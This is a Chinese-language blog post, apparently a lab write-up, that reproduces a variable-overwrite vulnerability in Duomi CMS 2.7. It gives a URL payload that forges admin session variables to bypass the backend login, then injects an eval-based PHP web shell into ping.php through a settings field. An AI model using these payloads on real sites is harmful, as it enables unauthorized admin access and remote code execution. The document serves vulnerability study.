Duomi_2.7 靶场变量覆盖漏洞复现

用工具seay审计代码我这里出现变量覆盖中的$$进一步跟进审计找到common.php文件

判断这个第52行foreach语句成功执行的前提条件

对上面28行到第34行代码分析,我们必须要传入一个参数$_k,键名里有cfg_和GLOBALS并且Cookie传参中没有键名就会执行if条件语句我们要不满足以上条件来执行我们的foreach语句只要不进入if分支,就可以通过common.php文件实现任意代码执行回到第54行

继续分析在这里查找_RunMagicQuotes函数定位它在上面

这段代码定义了一个名为 _RunMagicQuotes 的函数,该函数用于处理 PHP 中的 "magic quotes" 功能。Magic quotes 是一个在旧版 PHP 中被弃用的功能,它自动对从客户端接收到的数据进行转义,以防止 SQL 注入等安全问题。

      因此我们需要找到这个项目当中谁用到这个common.php文件全局搜索文件

找到id=8这个文件审计代码

从第42行开始审计,查找第64行keepuser()这个函数定位

审计check.admin.php文件

它使用了会话(session)来存储用户的信息。

我们需要构造的有:

$_SESSION[duomi_admin_id]=userID

$_SESSION[duomi_group_id]=groupid

$_SESSION[duomi_admin_name]=username

以上我们构造userID和username

因此我们可以利用session来伪造管理员登陆后台我们继续查找它满足的条件是什么

      首先必须开启session并且必须引用common.php文件,session在引用common.php文件之前生效才能用自己的session登陆后台继续找符合条件的文件

找到id=11

在这个文件中传入urlsession构造payload

?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=66

登陆后台

shell

找后台功能有没有注入点

发现关键信息,我们输入一些信息查看是否保存到ping.php文件

发现直接写入到文件,我们只需要绕过就可以插入恶意代码

构造

aaa";eval($_REQUEST[111]);"

访问

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值